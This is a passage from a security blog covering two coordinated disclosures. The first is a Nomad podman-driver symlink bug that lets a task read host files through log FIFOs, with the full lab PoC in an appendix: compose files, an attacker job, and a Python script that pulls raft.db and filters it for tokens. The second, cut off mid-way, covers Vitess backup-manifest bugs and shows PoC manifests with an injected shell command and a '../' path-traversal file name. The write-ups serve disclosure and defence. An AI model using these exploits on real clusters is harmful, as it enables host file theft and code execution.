  <li><strong>Upgrade Nomad to 2.0.1, 1.11.5, or 1.10.11. If you’re using exec2, upgrade to 0.1.2.</strong> The fix is a breaking change: <code class="language-plaintext highlighter-rouge">/alloc/logs</code> is now bind-mounted read-only for drivers with filesystem isolation.</li>
</ul>

<hr />

<h2 id="the-surface">The surface</h2>

<p>After the <a href="/security/2026/05/18/RCE-and-arbitrary-file-write-in-Vitess-vtbackup-via-untrusted-MANIFEST-fields/">Vitess work</a>, I kept pulling on infrastructure stuff and ended up spending time reading through Nomad’s task driver code. I had a version of ttyd running so I could poke around from inside a deployed container. The podman driver was the most interesting thing I could see from that point, it bridges container and host, and the log streaming path has to open files on the host side based on paths the container can influence.</p>

<p>Nomad uses named pipes (FIFOs) for task log handling. The container and the Nomad agent share <code class="language-plaintext highlighter-rouge">/alloc/logs</code>. The agent opens those FIFOs to collect stdout/stderr from the running task. Two lines in the podman driver code matter here:</p>

<ul>
  <li><code class="language-plaintext highlighter-rouge">driver.go#L1564</code> calls <code class="language-plaintext highlighter-rouge">runLogStreaming</code> on every task restart.</li>
  <li><code class="language-plaintext highlighter-rouge">handle.go#L151</code> is where the FIFO actually gets opened, without <code class="language-plaintext highlighter-rouge">O_NOFOLLOW</code>.</li>
</ul>

<h2 id="the-bug">The bug</h2>

<ol>
  <li>Task is running. FIFO exists at <code class="language-plaintext highlighter-rouge">/alloc/logs/.sidecar.stdout.fifo</code>.</li>
  <li>Container <code class="language-plaintext highlighter-rouge">unlink</code>s the FIFO and replaces it with a symlink pointing at a host file.</li>
  <li>Task restarts, naturally or because it crashes.</li>
  <li>logmon reopens the FIFO path on the host side, follows the symlink, and is now reading from or writing to whatever the symlink points at. As the Nomad process user.</li>
</ol>

<p>The PoC reads <code class="language-plaintext highlighter-rouge">/nomad/data/server/raft/raft.db</code> to show what this gets you on a real node. A <code class="language-plaintext highlighter-rouge">raw_exec</code> sidecar task sleeps 10 seconds and exits 1, triggering a restart on the configured delay. The attacker task (podman container) waits for the FIFO to appear, unlinks it, drops a symlink to <code class="language-plaintext highlighter-rouge">raft.db</code> in its place, then waits. When logmon reopens the path, it streams <code class="language-plaintext highlighter-rouge">raft.db</code> into the log file. The container reads it back from <code class="language-plaintext highlighter-rouge">/alloc/logs/sidecar.stdout</code>.</p>

<p>The <code class="language-plaintext highlighter-rouge">raw_exec</code> part is just for the PoC to have a deterministic restart cycle. You don’t need a privileged driver in practice — most real allocations include sidecars that restart naturally. Log collectors, anything with a restart policy, is a trigger.</p>

<p>(HashiCorp scored this <code class="language-plaintext highlighter-rouge">C:N/I:H/A:N</code>, so they treated it as a write primitive only. The PoC does read <code class="language-plaintext highlighter-rouge">raft.db</code>, but only by getting the host to write it into the alloc log file, which is a stretch of the read primitive. Fair enough.)</p>

<p>(Full PoC files in Appendix A.)</p>

<h2 id="disclosure">Disclosure</h2>

<p>I sent the report to security@hashicorp.com on April 11 with a docker-compose reproducer attached. This is where it got entertaining…. The email filter stripped the <code class="language-plaintext highlighter-rouge">.zip</code>. Then stripped the renamed <code class="language-plaintext highlighter-rouge">.txt</code> version. Then stripped a second <code class="language-plaintext highlighter-rouge">.txt</code> attempt. In the end I pasted all five files inline in the email body, with a “Lets hope this gets though :)” which I stand by.</p>

<p>James Warren at HashiCorp picked it up on April 14. Reproduction confirmed April 16. They were working to reproduce it with constrained tasks instead of <code class="language-plaintext highlighter-rouge">raw_exec</code>, which confirmed they understood the driver was just a convenient stand-in for “anything that restarts.”</p>

<p>Then on May 8, James told me the same issue affects the exec2 task driver, which is released as a separate binary. That got CVE-2026-8052. The bulletin credits “the Nomad engineering team in conjunction with NeuroWinter” — they found that one. I hadn’t looked at exec2 specifically. Two CVEs from one investigation, the second one turned up by HashiCorp themselves.</p>

<p>Both bulletins went public May 13.</p>

<h2 id="the-fix">The fix</h2>

<p>I’d suggested <code class="language-plaintext highlighter-rouge">O_NOFOLLOW</code> on the FIFO open in logmon. What shipped goes wider, in two layers (<a href="https://github.com/hashicorp/nomad/commit/2a09fd62c23880ff306499ae03fe64628d82a23f">commit 2a09fd6</a>):</p>

<ol>
  <li>The FIFO creation path now uses Go’s <code class="language-plaintext highlighter-rouge">os.Root</code> to confine filesystem operations to the logs directory, with a new <code class="language-plaintext highlighter-rouge">mkfifoat</code> syscall wrapper on Linux and BSD. That stops the symlink-following at the syscall layer. macOS is excluded because the syscall isn’t available there. Windows doesn’t need it because named pipes live in the kernel namespace, not the filesystem.</li>
  <li>The allocation logs directory is now bind-mounted <strong>read-only</strong> for task drivers with filesystem isolation. That stops the container from <code class="language-plaintext highlighter-rouge">unlink</code>ing the FIFO in the first place. This is the breaking change called out in the release notes.</li>
</ol>

<p>While they were in there, the team also patched another variant: a task could replace <code class="language-plaintext highlighter-rouge">/alloc/logs/</code> itself with a symlink, letting logmon create files in arbitrary host directories. I hadn’t found that one — it came out of HashiCorp’s audit after my report. Same root cause, different lever.</p>

<p>I’ve had a lot worse CVD experiences :)</p>

<hr />

<h2 id="timeline">Timeline</h2>

<ul>
  <li><strong>11 April 2026:</strong> Reported to security@hashicorp.com with PoC</li>
  <li><strong>14 April 2026:</strong> HashiCorp picks up the report (after a round of email-filter wrangling)</li>
  <li><strong>16 April 2026:</strong> Reproduction confirmed; fix targeted for Nomad 2.0.1</li>
  <li><strong>17 April 2026:</strong> CVE-2026-6959 to be issued; fix scope expanded to logmon</li>
  <li><strong>8 May 2026:</strong> HashiCorp finds same bug in exec2 driver; CVE-2026-8052 reserved</li>
  <li><strong>13 May 2026:</strong> Both bulletins and CVEs published; Nomad 2.0.1, 1.11.5, 1.10.11, exec2 0.1.2 released</li>
</ul>

<hr />

<h2 id="appendix-a--poc-files">Appendix A — PoC Files</h2>

<p><strong>docker-compose.yml</strong></p>

<div class="language-yaml highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="na">services</span><span class="pi">:</span>
  <span class="na">consul</span><span class="pi">:</span>
    <span class="na">image</span><span class="pi">:</span> <span class="s">hashicorp/consul:latest</span>
    <span class="na">ports</span><span class="pi">:</span>
      <span class="pi">-</span> <span class="s2">"</span><span class="s">8500:8500"</span>
    <span class="na">command</span><span class="pi">:</span> <span class="s2">"</span><span class="s">agent</span><span class="nv"> </span><span class="s">-dev</span><span class="nv"> </span><span class="s">-bind=0.0.0.0</span><span class="nv"> </span><span class="s">-client=0.0.0.0"</span>
  <span class="na">nomad</span><span class="pi">:</span>
    <span class="na">build</span><span class="pi">:</span>
      <span class="na">context</span><span class="pi">:</span> <span class="s">.</span>
      <span class="na">dockerfile</span><span class="pi">:</span> <span class="s">Dockerfile.nomad</span>
    <span class="na">ports</span><span class="pi">:</span>
      <span class="pi">-</span> <span class="s2">"</span><span class="s">4646:4646"</span>
      <span class="pi">-</span> <span class="s2">"</span><span class="s">4647:4647"</span>
      <span class="pi">-</span> <span class="s2">"</span><span class="s">4648:4648"</span>
    <span class="na">volumes</span><span class="pi">:</span>
      <span class="pi">-</span> <span class="s">./nomad-config:/etc/nomad.d</span>
      <span class="pi">-</span> <span class="s">nomad-data:/nomad/data</span>
      <span class="pi">-</span> <span class="s">/sys/fs/cgroup:/sys/fs/cgroup:rw</span>
    <span class="na">privileged</span><span class="pi">:</span> <span class="no">true</span>
    <span class="na">cgroup</span><span class="pi">:</span> <span class="s">host</span>
    <span class="na">devices</span><span class="pi">:</span>
      <span class="pi">-</span> <span class="s">/dev/fuse:/dev/fuse</span>
    <span class="na">security_opt</span><span class="pi">:</span>
      <span class="pi">-</span> <span class="s">seccomp=unconfined</span>
      <span class="pi">-</span> <span class="s">apparmor=unconfined</span>
    <span class="na">environment</span><span class="pi">:</span>
      <span class="pi">-</span> <span class="s">NOMAD_ADDR=http://0.0.0.0:4646</span>
    <span class="na">depends_on</span><span class="pi">:</span>
      <span class="pi">-</span> <span class="s">consul</span>
<span class="na">volumes</span><span class="pi">:</span>
  <span class="na">nomad-data</span><span class="pi">:</span>
</code></pre></div></div>

<p><strong>Dockerfile.nomad</strong></p>

<div class="language-dockerfile highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">FROM</span><span class="s"> ubuntu:24.04</span>
<span class="k">ARG</span><span class="s"> NOMAD_VERSION=1.9.7</span>
<span class="k">ARG</span><span class="s"> PODMAN_DRIVER_VERSION=0.6.3</span>
<span class="k">RUN </span>apt-get update <span class="o">&amp;&amp;</span> apt-get <span class="nb">install</span> <span class="nt">-y</span> <span class="se">\
</span>    curl <span class="se">\
</span>    unzip <span class="se">\
</span>    podman <span class="se">\
</span>    uidmap <span class="se">\
</span>    fuse-overlayfs <span class="se">\
</span>    slirp4netns <span class="se">\
</span>    ca-certificates <span class="se">\
</span>    iproute2 <span class="se">\
</span>    <span class="o">&amp;&amp;</span> <span class="nb">rm</span> <span class="nt">-rf</span> /var/lib/apt/lists/<span class="k">*</span>
<span class="k">RUN </span>curl <span class="nt">-fsSL</span> https://releases.hashicorp.com/nomad/<span class="k">${</span><span class="nv">NOMAD_VERSION</span><span class="k">}</span>/nomad_<span class="k">${</span><span class="nv">NOMAD_VERSION</span><span class="k">}</span>_linux_amd64.zip <span class="se">\
</span>    <span class="nt">-o</span> /tmp/nomad.zip <span class="se">\
</span>    <span class="o">&amp;&amp;</span> unzip /tmp/nomad.zip <span class="nt">-d</span> /usr/local/bin/ <span class="se">\
</span>    <span class="o">&amp;&amp;</span> <span class="nb">rm</span> /tmp/nomad.zip
<span class="k">RUN </span><span class="nb">mkdir</span> <span class="nt">-p</span> /opt/nomad/plugins <span class="se">\
</span>    <span class="o">&amp;&amp;</span> curl <span class="nt">-fsSL</span> https://releases.hashicorp.com/nomad-driver-podman/<span class="k">${</span><span class="nv">PODMAN_DRIVER_VERSION</span><span class="k">}</span>/nomad-driver-podman_<span class="k">${</span><span class="nv">PODMAN_DRIVER_VERSION</span><span class="k">}</span>_linux_amd64.zip <span class="se">\
</span>    <span class="nt">-o</span> /tmp/podman-driver.zip <span class="se">\
</span>    <span class="o">&amp;&amp;</span> unzip /tmp/podman-driver.zip <span class="nt">-d</span> /opt/nomad/plugins/ <span class="se">\
</span>    <span class="o">&amp;&amp;</span> <span class="nb">chmod</span> +x /opt/nomad/plugins/nomad-driver-podman <span class="se">\
</span>    <span class="o">&amp;&amp;</span> <span class="nb">rm</span> /tmp/podman-driver.zip
<span class="k">RUN </span>useradd <span class="nt">-m</span> <span class="nt">-u</span> 1001 nomad <span class="se">\
</span>    <span class="o">&amp;&amp;</span> <span class="nb">echo</span> <span class="s2">"nomad:100000:65536"</span> <span class="o">&gt;&gt;</span> /etc/subuid <span class="se">\
</span>    <span class="o">&amp;&amp;</span> <span class="nb">echo</span> <span class="s2">"nomad:100000:65536"</span> <span class="o">&gt;&gt;</span> /etc/subgid
<span class="k">RUN </span><span class="nb">mkdir</span> <span class="nt">-p</span> /nomad/data /etc/nomad.d <span class="se">\
</span>    <span class="o">&amp;&amp;</span> <span class="nb">chown</span> <span class="nt">-R</span> nomad:nomad /nomad
<span class="k">EXPOSE</span><span class="s"> 4646 4647 4648</span>
<span class="k">COPY</span><span class="s"> entrypoint.sh /entrypoint.sh</span>
<span class="k">RUN </span><span class="nb">chmod</span> +x /entrypoint.sh
<span class="k">CMD</span><span class="s"> ["/entrypoint.sh"]</span>
</code></pre></div></div>

<p><strong>entrypoint.sh</strong></p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c">#!/bin/bash</span>
<span class="nb">mkdir</span> <span class="nt">-p</span> /run/user/1001/podman
<span class="nb">chown</span> <span class="nt">-R</span> nomad:nomad /run/user/1001
<span class="nb">mkdir</span> <span class="nt">-p</span> /home/nomad/.config/containers
<span class="nb">cat</span> <span class="o">&lt;&lt;</span><span class="no">EOF</span><span class="sh"> &gt; /home/nomad/.config/containers/containers.conf
[containers]
log_driver = "k8s-file"
[engine]
cgroup_manager = "cgroupfs"
</span><span class="no">EOF
</span><span class="nb">mkdir</span> <span class="nt">-p</span> /nomad/data
<span class="nb">chown</span> <span class="nt">-R</span> nomad:nomad /nomad/data /home/nomad
su - nomad <span class="nt">-c</span> <span class="s2">"podman system service --time=0 unix:///run/user/1001/podman/podman.sock &amp;"</span>
<span class="nb">sleep </span>2
<span class="nb">exec </span>su <span class="nt">-s</span> /bin/bash nomad <span class="nt">-c</span> <span class="s2">"nomad agent -config=/etc/nomad.d"</span>
</code></pre></div></div>

<p><strong>poc.nomad</strong></p>

<div class="language-hcl highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nx">job</span> <span class="s2">"poc"</span> <span class="p">{</span>
  <span class="nx">datacenters</span> <span class="p">=</span> <span class="p">[</span><span class="s2">"dc1"</span><span class="p">]</span>
  <span class="nx">type</span>        <span class="p">=</span> <span class="s2">"service"</span>
  <span class="nx">group</span> <span class="s2">"app"</span> <span class="p">{</span>
    <span class="nx">restart</span> <span class="p">{</span>
      <span class="nx">attempts</span> <span class="p">=</span> <span class="mi">10</span>
      <span class="nx">interval</span> <span class="p">=</span> <span class="s2">"10m"</span>
      <span class="nx">delay</span>    <span class="p">=</span> <span class="s2">"5s"</span>
      <span class="nx">mode</span>     <span class="p">=</span> <span class="s2">"delay"</span>
    <span class="p">}</span>
    <span class="nx">task</span> <span class="s2">"sidecar"</span> <span class="p">{</span>
      <span class="nx">driver</span> <span class="p">=</span> <span class="s2">"raw_exec"</span>
      <span class="nx">config</span> <span class="p">{</span>
        <span class="nx">command</span> <span class="p">=</span> <span class="s2">"/bin/sh"</span>
        <span class="nx">args</span>    <span class="p">=</span> <span class="p">[</span><span class="s2">"-c"</span><span class="p">,</span> <span class="s2">"sleep 10; exit 1"</span><span class="p">]</span>
      <span class="p">}</span>
      <span class="nx">resources</span> <span class="p">{</span>
        <span class="nx">cpu</span>    <span class="p">=</span> <span class="mi">100</span>
        <span class="nx">memory</span> <span class="p">=</span> <span class="mi">64</span>
      <span class="p">}</span>
    <span class="p">}</span>
    <span class="nx">task</span> <span class="s2">"attacker"</span> <span class="p">{</span>
      <span class="nx">driver</span> <span class="p">=</span> <span class="s2">"podman"</span>
      <span class="nx">config</span> <span class="p">{</span>
        <span class="nx">image</span>   <span class="p">=</span> <span class="s2">"python:3.13-slim"</span>
        <span class="nx">command</span> <span class="p">=</span> <span class="s2">"python3"</span>
        <span class="nx">args</span>    <span class="p">=</span> <span class="p">[</span><span class="s2">"/local/poc.py"</span><span class="p">]</span>
      <span class="p">}</span>
      <span class="nx">template</span> <span class="p">{</span>
        <span class="nx">data</span>        <span class="p">=</span> <span class="o">&lt;&lt;</span><span class="no">EOF</span><span class="sh">
import os
import time
import sys
import re
ALLOC_LOGS = "/alloc/logs"
TARGET = "/nomad/data/server/raft/raft.db"
fifo = os.path.join(ALLOC_LOGS, ".sidecar.stdout.fifo")
print(f"waiting for {fifo}", flush=True)
for i in range(30):
    if os.path.exists(fifo):
        print("found fifo", flush=True)
        break
    time.sleep(1)
try:
    os.unlink(fifo)
    os.symlink(TARGET, fifo)
    print("symlink planted", file=sys.stderr, flush=True)
except Exception as e:
    print(f"error: {e}", file=sys.stderr, flush=True)
# Wait for sidecar to restart and logmon to write raft.db into the log file
time.sleep(30)
# Read back the exfiltrated data
print("=== EXFILTRATED DATA ===", flush=True)
for logfile in sorted(os.listdir(ALLOC_LOGS)):
    if logfile.startswith("sidecar.stdout"):
        path = os.path.join(ALLOC_LOGS, logfile)
        print(f"\n--- {path} ---", flush=True)
        with open(path, "rb") as f:
            data = f.read()
        # Extract printable strings of length 8+
        strings = re.findall(rb'[\x20-\x7e]{8,}', data)
        for s in strings:
            decoded = s.decode("utf-8", errors="ignore")
            # Filter for interesting patterns
            if any(x in decoded for x in [
                "-", "nomad", "alloc", "secret", "token",
                "node", "eval", "job", "SecretID", "AuthToken",
                "dc1", "global", "192.168"
            ]):
                print(decoded, flush=True)
print("=== END EXFIL ===", flush=True)
time.sleep(30)
</span><span class="no">EOF
</span>        <span class="nx">destination</span> <span class="p">=</span> <span class="s2">"local/poc.py"</span>
      <span class="p">}</span>
      <span class="nx">resources</span> <span class="p">{</span>
        <span class="nx">cpu</span>    <span class="p">=</span> <span class="mi">100</span>
        <span class="nx">memory</span> <span class="p">=</span> <span class="mi">128</span>
      <span class="p">}</span>
    <span class="p">}</span>
  <span class="p">}</span>
<span class="p">}</span>
</code></pre></div></div>

<p><strong>nomad-config/nomad.hcl</strong></p>

<div class="language-hcl highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nx">data_dir</span>  <span class="err">=</span> <span class="s2">"/nomad/data"</span>
<span class="nx">bind_addr</span> <span class="err">=</span> <span class="s2">"0.0.0.0"</span>
<span class="nx">plugin_dir</span> <span class="err">=</span> <span class="s2">"/opt/nomad/plugins"</span>
<span class="nx">log_level</span> <span class="err">=</span> <span class="s2">"DEBUG"</span>
<span class="nx">server</span> <span class="p">{</span>
  <span class="nx">enabled</span>          <span class="p">=</span> <span class="kc">true</span>
  <span class="nx">bootstrap_expect</span> <span class="p">=</span> <span class="mi">1</span>
<span class="p">}</span>
<span class="nx">client</span> <span class="p">{</span>
  <span class="nx">enabled</span> <span class="p">=</span> <span class="kc">true</span>
<span class="p">}</span>
<span class="nx">consul</span> <span class="p">{</span>
  <span class="nx">address</span> <span class="p">=</span> <span class="s2">"consul:8500"</span>
<span class="p">}</span>
<span class="nx">plugin</span> <span class="s2">"nomad-driver-podman"</span> <span class="p">{</span>
  <span class="nx">config</span> <span class="p">{</span>
    <span class="nx">socket_path</span>    <span class="p">=</span> <span class="s2">"unix:///run/user/1001/podman/podman.sock"</span>
    <span class="nx">recover_stopped</span> <span class="p">=</span> <span class="kc">true</span>
  <span class="p">}</span>
<span class="p">}</span>
<span class="nx">plugin</span> <span class="s2">"raw_exec"</span> <span class="p">{</span>
  <span class="nx">config</span> <span class="p">{</span>
    <span class="nx">enabled</span> <span class="p">=</span> <span class="kc">true</span>
  <span class="p">}</span>
<span class="p">}</span>
</code></pre></div></div>

<hr />

<h2 id="relevant-resources">Relevant Resources</h2>

<ul>
  <li><a href="https://discuss.hashicorp.com/t/hcsec-2026-13-nomads-exec2-task-driver-vulnerable-to-arbitrary-file-read-write-on-client-host-through-symlink-attack/77415">HCSEC-2026-13: Nomad exec2 task driver vulnerable to arbitrary file read/write via symlink attack</a></li>
  <li><a href="https://discuss.hashicorp.com/t/hcsec-2026-14-nomad-arbitrary-file-read-write-on-client-host-through-symlink-attack/77416">HCSEC-2026-14: Nomad arbitrary file read/write on client host via symlink attack</a></li>
  <li><a href="https://github.com/hashicorp/nomad/releases/tag/v2.0.1">Nomad 2.0.1 release notes</a></li>
  <li><a href="https://github.com/hashicorp/nomad/commit/2a09fd62c23880ff306499ae03fe64628d82a23f">Fix commit 2a09fd6</a></li>
</ul>]]></content><author><name>Alex Manson</name></author><category term="Security" /><summary type="html"><![CDATA[CVE-2026-6959 and CVE-2026-8052 A task container can replace the FIFO used for log streaming with a symlink to any host file. When the task restarts, logmon follows the symlink and reads or writes the target as the Nomad process user.]]></summary></entry><entry><title type="html">RCE and arbitrary file write in Vitess vtbackup via untrusted MANIFEST fields</title><link href="https://neurowinter.com/security/2026/05/18/RCE-and-arbitrary-file-write-in-Vitess-vtbackup-via-untrusted-MANIFEST-fields/" rel="alternate" type="text/html" title="RCE and arbitrary file write in Vitess vtbackup via untrusted MANIFEST fields" /><published>2026-05-18T00:00:00+12:00</published><updated>2026-05-18T00:00:00+12:00</updated><id>https://neurowinter.com/security/2026/05/18/RCE-and-arbitrary-file-write-in-Vitess-vtbackup-via-untrusted-MANIFEST-fields</id><content type="html" xml:base="https://neurowinter.com/security/2026/05/18/RCE-and-arbitrary-file-write-in-Vitess-vtbackup-via-untrusted-MANIFEST-fields/"><![CDATA[<h2 id="tldr">TLDR:</h2>

<ul>
  <li>Two CVEs in Vitess. Both come from the backup <code class="language-plaintext highlighter-rouge">MANIFEST</code> file being trusted at
restore time.</li>
  <li><strong>CVE-2026-27965</strong> (<a href="https://github.com/vitessio/vitess/security/advisories/GHSA-8g8j-r87h-p36x">GHSA-8g8j-r87h-p36x</a>)</li>
  <li>CVSS 8.4, CWE-78. The <code class="language-plaintext highlighter-rouge">ExternalDecompressor</code> field is run through
<code class="language-plaintext highlighter-rouge">/bin/sh -c</code>. RCE as the <code class="language-plaintext highlighter-rouge">vitess</code> user.</li>
  <li><strong>CVE-2026-27969</strong> (<a href="https://github.com/vitessio/vitess/security/advisories/GHSA-r492-hjgh-c9gw">GHSA-r492-hjgh-c9gw</a>)</li>
  <li>CVSS 9.3, CWE-22. <code class="language-plaintext highlighter-rouge">FileEntries[].Name</code> path traversal. Write to any path
the <code class="language-plaintext highlighter-rouge">vitess</code> user can write.</li>
  <li><strong>Affected:</strong> v22.0.3 and older, v23.0.0–v23.0.2.</li>
  <li><strong>Patched:</strong> v22.0.4, v23.0.3.</li>
  <li>Quick workaround for the RCE only: set <code class="language-plaintext highlighter-rouge">--external-decompressor=cat</code> (or any
other harmless command) on <code class="language-plaintext highlighter-rouge">vttablet</code>/<code class="language-plaintext highlighter-rouge">vtbackup</code>. The flag overrides the
manifest. No equivalent for the path traversal — upgrade.</li>
</ul>

<hr />

<h2 id="background">Background</h2>

<p>I started looking into how vitess was doing backups as I was recenlty looking
into the differences between WAL and xlogs etc in postgres and mysql. I was
interseted in the boundry that backsups cross, from production data, config
files, and then cold storage, and finally how these backups are used in DR.</p>

<p>A Vitess backup is a directory containing a JSON <code class="language-plaintext highlighter-rouge">MANIFEST</code> and the data files
it references. Restore reads the manifest, copies the data files out, and
optionally decompresses them.</p>

<p>A normal one looks like this:</p>

<div class="language-json highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="p">{</span><span class="w">
  </span><span class="nl">"BackupMethod"</span><span class="p">:</span><span class="w"> </span><span class="s2">"builtin"</span><span class="p">,</span><span class="w">
  </span><span class="nl">"CompressionEngine"</span><span class="p">:</span><span class="w"> </span><span class="s2">"external"</span><span class="p">,</span><span class="w">
  </span><span class="nl">"ExternalDecompressor"</span><span class="p">:</span><span class="w"> </span><span class="s2">"zstd -d"</span><span class="p">,</span><span class="w">
  </span><span class="nl">"FileEntries"</span><span class="p">:</span><span class="w"> </span><span class="p">[{</span><span class="nl">"Base"</span><span class="p">:</span><span class="s2">"Data"</span><span class="p">,</span><span class="nl">"Name"</span><span class="p">:</span><span class="s2">"backup.sql.gz.external"</span><span class="p">,</span><span class="nl">"Hash"</span><span class="p">:</span><span class="s2">"..."</span><span class="p">}],</span><span class="w">
  </span><span class="nl">"Keyspace"</span><span class="p">:</span><span class="w"> </span><span class="s2">"test"</span><span class="p">,</span><span class="w">
  </span><span class="nl">"Shard"</span><span class="p">:</span><span class="w"> </span><span class="s2">"0"</span><span class="p">,</span><span class="w">
  </span><span class="nl">"SkipCompress"</span><span class="p">:</span><span class="w"> </span><span class="kc">false</span><span class="w">
</span><span class="p">}</span><span class="w">
</span></code></pre></div></div>

<p>Two fields end up being the bugs:</p>

<ul>
  <li><code class="language-plaintext highlighter-rouge">ExternalDecompressor</code>, a shell command.</li>
  <li><code class="language-plaintext highlighter-rouge">FileEntries[].Name</code>, a relative path.</li>
</ul>

<p>Both get read from the manifest and used directly. If you can write to backup
storage, you can edit them.</p>

<p>The thing here is that backup storage looks like passive data. The <code class="language-plaintext highlighter-rouge">MANIFEST</code>
is not. It is restore time control plane input - it picks commands, paths,
compression behaviour, and file layout, its a config file. If the backup store
is writable by anything other than fully trusted restore operators, the
manifest is an execution surface.</p>

<hr />

<h2 id="cve-2026-27965-rce-via-externaldecompressor">CVE-2026-27965: RCE via ExternalDecompressor</h2>

<p>From <code class="language-plaintext highlighter-rouge">go/vt/mysqlctl/compression.go</code>:</p>

<div class="language-go highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">cmdArgs</span> <span class="o">:=</span> <span class="p">[]</span><span class="kt">string</span><span class="p">{</span><span class="s">"-c"</span><span class="p">,</span> <span class="n">cmdStr</span><span class="p">}</span>
<span class="n">cmd</span> <span class="o">:=</span> <span class="n">exec</span><span class="o">.</span><span class="n">CommandContext</span><span class="p">(</span><span class="n">ctx</span><span class="p">,</span> <span class="s">"/bin/sh"</span><span class="p">,</span> <span class="n">cmdArgs</span><span class="o">...</span><span class="p">)</span>
</code></pre></div></div>

<p><code class="language-plaintext highlighter-rouge">cmdStr</code> is the manifest field, verbatim. No allowlist, no validation.</p>

<p>PoC manifest:</p>

<div class="language-json highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="p">{</span><span class="w">
  </span><span class="nl">"BackupMethod"</span><span class="p">:</span><span class="w"> </span><span class="s2">"builtin"</span><span class="p">,</span><span class="w">
  </span><span class="nl">"CompressionEngine"</span><span class="p">:</span><span class="w"> </span><span class="s2">"external"</span><span class="p">,</span><span class="w">
  </span><span class="nl">"ExternalDecompressor"</span><span class="p">:</span><span class="w"> </span><span class="s2">"/bin/sh -c 'id &gt; /tmp/PWNED; echo VITESS_RCE &gt;&gt; /tmp/PWNED'"</span><span class="p">,</span><span class="w">
  </span><span class="nl">"FileEntries"</span><span class="p">:</span><span class="w"> </span><span class="p">[{</span><span class="nl">"Base"</span><span class="p">:</span><span class="s2">"Data"</span><span class="p">,</span><span class="nl">"Name"</span><span class="p">:</span><span class="s2">"backup.sql.gz.external"</span><span class="p">,</span><span class="nl">"Hash"</span><span class="p">:</span><span class="s2">""</span><span class="p">}],</span><span class="w">
  </span><span class="nl">"Keyspace"</span><span class="p">:</span><span class="w"> </span><span class="s2">"test"</span><span class="p">,</span><span class="w">
  </span><span class="nl">"Shard"</span><span class="p">:</span><span class="w"> </span><span class="s2">"0"</span><span class="p">,</span><span class="w">
  </span><span class="nl">"SkipCompress"</span><span class="p">:</span><span class="w"> </span><span class="kc">false</span><span class="w">
</span><span class="p">}</span><span class="w">
</span></code></pre></div></div>

<p>Run <code class="language-plaintext highlighter-rouge">vtbackup</code> against it:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>vitess@d438d03b8595:/<span class="nv">$ </span>/vt/bin/vtbackup <span class="se">\</span>
  <span class="nt">--backup-storage-implementation</span><span class="o">=</span>file <span class="se">\</span>
  <span class="nt">--file-backup-storage-root</span><span class="o">=</span>/vt/backups <span class="se">\</span>
  <span class="nt">--init-keyspace</span><span class="o">=</span><span class="nb">test</span> <span class="nt">--init-shard</span><span class="o">=</span>0 <span class="se">\</span>
  <span class="nt">--topo-implementation</span><span class="o">=</span>etcd2 <span class="se">\</span>
  <span class="nt">--topo-global-server-address</span><span class="o">=</span>etcd:2379 <span class="se">\</span>
  <span class="nt">--topo-global-root</span><span class="o">=</span>/vitess/global

... <span class="s2">"msg"</span>:<span class="s2">"Decompressing using external command: </span><span class="se">\"</span><span class="s2">/bin/sh -c 'id &gt; /tmp/PWNED; echo VITESS_RCE &gt;&gt; /tmp/PWNED'</span><span class="se">\"</span><span class="s2">"</span>

vitess@d438d03b8595:/<span class="nv">$ </span><span class="nb">cat</span> /tmp/PWNED
<span class="nv">uid</span><span class="o">=</span>999<span class="o">(</span>vitess<span class="o">)</span> <span class="nv">gid</span><span class="o">=</span>999<span class="o">(</span>vitess<span class="o">)</span> <span class="nb">groups</span><span class="o">=</span>999<span class="o">(</span>vitess<span class="o">)</span>
VITESS_RCE
</code></pre></div></div>

<p>Code is executed as the <code class="language-plaintext highlighter-rouge">vitess</code> user, inside the tablet/container context.
Depending on the deployment that means access to database files, MySQL
credentials, topology-server connectivity, and the network the tablet sits on.
The backup routine has access to SO much. Multiple tablets restoring from the
same backup store means one poisoned manifest fans out across the cluster as
new replicas come up.</p>

<p>The restore itself fails on a hash mismatch, but the decompressor runs <em>before</em>
the hash check. And the engine retries failed file restores, so the command
runs twice per attempt.</p>

<p>The thing worth flagging: I had no <code class="language-plaintext highlighter-rouge">--external-decompressor</code> flag set. No
<code class="language-plaintext highlighter-rouge">--compression-engine-name=external</code>, no compression flags at all. Default
compression engine is <code class="language-plaintext highlighter-rouge">pargzip</code>. The restore engine consults the flag first;
if it is empty it falls back to whatever is in the manifest. The manifest
sets <code class="language-plaintext highlighter-rouge">CompressionEngine: "external"</code> and that is enough.</p>

<p>Default Vitess is exposed. The operator does not have to know external
compressors exist — the manifest names one and the code follows.</p>

<p>The fix in <a href="https://github.com/vitessio/vitess/pull/19460">PR #19460</a> makes the
manifest fallback opt-in via <code class="language-plaintext highlighter-rouge">--external-decompressor-allow-manifest</code>. Default
is to ignore the field.</p>

<hr />

<h2 id="cve-2026-27969-path-traversal-via-fileentriesname">CVE-2026-27969: Path traversal via FileEntries[].Name</h2>

<p>The restore engine joins <code class="language-plaintext highlighter-rouge">FileEntries[i].Name</code> onto the destination data dir
with no normalisation.</p>

<p>PoC manifest:</p>

<div class="language-json highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="p">{</span><span class="w">
  </span><span class="nl">"BackupMethod"</span><span class="p">:</span><span class="w"> </span><span class="s2">"builtin"</span><span class="p">,</span><span class="w">
  </span><span class="nl">"CompressionEngine"</span><span class="p">:</span><span class="w"> </span><span class="s2">""</span><span class="p">,</span><span class="w">
  </span><span class="nl">"SkipCompress"</span><span class="p">:</span><span class="w"> </span><span class="kc">true</span><span class="p">,</span><span class="w">
  </span><span class="nl">"FileEntries"</span><span class="p">:</span><span class="w"> </span><span class="p">[{</span><span class="w">
      </span><span class="nl">"Base"</span><span class="p">:</span><span class="w"> </span><span class="s2">"Data"</span><span class="p">,</span><span class="w">
      </span><span class="nl">"Name"</span><span class="p">:</span><span class="w"> </span><span class="s2">"../../../../tmp/OhNo.txt"</span><span class="p">,</span><span class="w">
      </span><span class="nl">"Hash"</span><span class="p">:</span><span class="w"> </span><span class="s2">""</span><span class="w">
